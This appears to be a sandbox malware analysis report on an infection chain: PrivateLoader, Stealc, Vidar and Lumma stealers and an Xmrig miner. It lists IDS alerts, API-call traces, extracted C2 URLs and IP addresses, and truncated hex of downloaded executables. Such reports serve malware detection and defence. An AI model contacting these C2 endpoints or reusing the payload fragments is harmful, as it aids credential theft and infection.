Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6906A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	11_2_6906A730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6904A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	11_2_6904A650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69028670 PK11_ExportEncryptedPrivKeyInfo,	11_2_69028670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6902E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	11_2_6902E6E0

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Source: unknown	HTTPS traffic detected: 104.26.8.59:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.123:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 186.64.114.115:443 -> 192.168.2.4:49807 version: TLS 1.2

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: 8G7TUoanzGVBa0kCulY_TPPa.exe, 8G7TUoanzGVBa0kCulY_TPPa.exe, 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 0000000B.00000002.2436376776.0000000068F5D000.00000002.00000001.01000000.00000016.sdmp, RegAsm.exe, 0000000F.00000002.2766416509.000000006C8D5000.00000002.00000001.01000000.00000016.sdmp, mozglue[1].dll.15.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\BUDEroEow.pdbm source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1908691673.0000000006110000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.11.dr
Source:	Binary string: otsoft.pdb source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: PE.pdb source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1905957911.0000000005D10000.00000004.08000000.00040000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.0000000004996000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: 8G7TUoanzGVBa0kCulY_TPPa.exe, 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: RegAsm.exe, 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 0000000B.00000002.2436376776.0000000068F5D000.00000002.00000001.01000000.00000016.sdmp, RegAsm.exe, 0000000F.00000002.2766416509.000000006C8D5000.00000002.00000001.01000000.00000016.sdmp, mozglue[1].dll.15.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 0000000C.00000002.2613139862.000000001FA58000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2566357777.0000000019AED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\BUDEroEow.pdb source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1908691673.0000000006110000.00000004.08000000.00040000.00000000.sdmp

Spreading

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 8120, type: MEMORYSTR

Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_0040553A FindFirstFileA,	7_2_0040553A
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_004055DE __EH_prolog,FindFirstFileW,AreFileApisANSI,FindFirstFileA,	7_2_004055DE
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	8_2_0040367D
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	8_2_004031DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	11_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	11_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	11_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	11_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	11_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	11_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	11_2_0040EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	11_2_004133C0

Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	File opened: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\__data__\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	File opened: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054709 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (GET) : 192.168.2.4:49730 -> 195.10.205.48:80
Source: Network traffic	Suricata IDS: 2054710 - Severity 1 - ET MALWARE PrivateLoader CnC Response : 195.10.205.48:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2054711 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (POST) : 192.168.2.4:49730 -> 195.10.205.48:80
Source: Network traffic	Suricata IDS: 2054711 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (POST) : 192.168.2.4:49742 -> 195.10.205.48:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49745 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49745 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.4:49745
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49745 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.4:49745
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49745 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2055575 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (awwardwiqi .shop) : 192.168.2.4:54562 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055576 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (awwardwiqi .shop in TLS SNI) : 192.168.2.4:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055479 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) : 192.168.2.4:55794 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055483 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) : 192.168.2.4:65042 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055489 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop) : 192.168.2.4:49753 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055493 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) : 192.168.2.4:49755 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055493 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) : 192.168.2.4:49754 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:49756 -> 147.45.68.138:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 147.45.68.138:80 -> 192.168.2.4:49756
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 147.45.68.138:80 -> 192.168.2.4:49756
Source: Network traffic	Suricata IDS: 2055575 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (awwardwiqi .shop) : 192.168.2.4:55149 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055479 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) : 192.168.2.4:61366 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055576 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (awwardwiqi .shop in TLS SNI) : 192.168.2.4:49783 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055483 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) : 192.168.2.4:50707 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055493 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) : 192.168.2.4:49787 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.4:49786 -> 95.164.119.162:80
Source: Network traffic	Suricata IDS: 2055493 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) : 192.168.2.4:49793 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49790 -> 193.176.190.41:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49790 -> 193.176.190.41:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 193.176.190.41:80 -> 192.168.2.4:49790
Source: Network traffic	Suricata IDS: 2055489 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop) : 192.168.2.4:49784 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49790 -> 193.176.190.41:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 193.176.190.41:80 -> 192.168.2.4:49790
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49790 -> 193.176.190.41:80
Source: Network traffic	Suricata IDS: 2055576 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (awwardwiqi .shop in TLS SNI) : 192.168.2.4:49802 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 147.45.68.138:80 -> 192.168.2.4:49796
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 147.45.68.138:80 -> 192.168.2.4:49796
Source: Network traffic	Suricata IDS: 2055489 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop) : 192.168.2.4:49803 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055493 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) : 192.168.2.4:49804 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055493 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) : 192.168.2.4:49805 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 147.45.68.138:80 -> 192.168.2.4:49809
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 147.45.68.138:80 -> 192.168.2.4:49809
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.4:49790 -> 193.176.190.41:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49755 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49755 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49753 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49753 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49754 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49754 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49783 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49783 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49793 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49793 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49787 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49787 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49784 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49784 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49804 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49804 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49803 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49802 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49805 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49803 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49802 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49805 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://193.176.190.41/2fa883eebd632382.php
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199761128941
Source: Malware configuration extractor	URLs: http://cajgtus.com/test1/get.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:03 GMTContent-Type: application/octet-streamContent-Length: 196648Last-Modified: Thu, 29 Aug 2024 19:35:54 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d0cd9a-30028"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ee cc d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ce 02 00 00 0a 00 00 00 00 00 00 ae ed 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 03 00 00 02 00 00 4e 2c 03 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ed 02 00 53 00 00 00 00 00 03 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 da 02 00 28 26 00 00 00 20 03 00 0c 00 00 00 20 ec 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 cd 02 00 00 20 00 00 00 ce 02 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 2e 06 00 00 00 00 03 00 00 08 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 03 00 00 02 00 00 00 d8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 ed 02 00 00 00 00 00 48 00 00 00 02 00 05 00 78 db 02 00 a8 10 00 00 03 00 02 00 0e 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 26 28 81 2c 58 16 1e 55 f4 66 8b 68 95 e3 26 5c f4 fa 06 3d 45 e8 fc c8 d8 f7 25 22 3d 6d 3f 2a 3c 16 1c bf 55 1d a6 48 66 c2 74 24 96 d1 9a c9 12 c7 13 55 21 ba 42 8b 23 9b 95 3a c7 10 64 b8 fc 45 91 96 0c 5c 17 8e 4a 31 be dc 39 09 0f ae e7 c1 19 df 4b e2 6c 58 d8 47 52 41 8a ec 36 7c 5e 8c 2e d7 6f 91 82 d0 a8 eb 40 c7 90 26 cb a6 ca 35 12 ce 94 8b 09 bd 0b cd c3 3a 95 e4 f9 01 69 20 bf 58 6d 9e 95 58 6a a6 97 ff 0d 5f 30 22 4c 8a 58 8f 45 4f 20 6a 05 83 25 af d4 b0 6d 6e 9a 45 63 54 25 d6 33 43 c8 29 29 cd fa 5e 06 3a a9 54 6e 37 c3 77 c9 0b 59 df c9 2e a7 60 5b 41 ca 74 79 e1 ba e9 0f 4e b5 a5 ed c7 bf 6a a3 18 b8 73 c2 7c 51 54 3f 86 39 c7 e7 27 fe 3a e4 9e 6c 93 24 c9 7b 26 56 dc e0 7d ad 39 98 03 6e 65 73 af c4 85 5b e7 d5 f2 3f fd 77 71 52 2f 5f 4a 55 81 38 bf 69 72 5f 52 a7 18 12 68 da f2 79 3c b3 3c 09 b9 40 2f 08 fa d3 cf ec 02 27 10 c0 e8 2d 55 a9 18 76 38 d5 46 b3 32 7a 11 c3 5
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:03 GMTContent-Type: application/octet-streamContent-Length: 212520Last-Modified: Thu, 29 Aug 2024 19:35:51 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d0cd97-33e28"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e0 cc d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 0c 03 00 00 0a 00 00 00 00 00 00 ae 2b 03 00 00 20 00 00 00 40 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 03 00 00 02 00 00 c3 4b 03 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 2b 03 00 53 00 00 00 00 40 03 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 18 03 00 28 26 00 00 00 60 03 00 0c 00 00 00 20 2a 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 0b 03 00 00 20 00 00 00 0c 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 2e 06 00 00 00 40 03 00 00 08 00 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 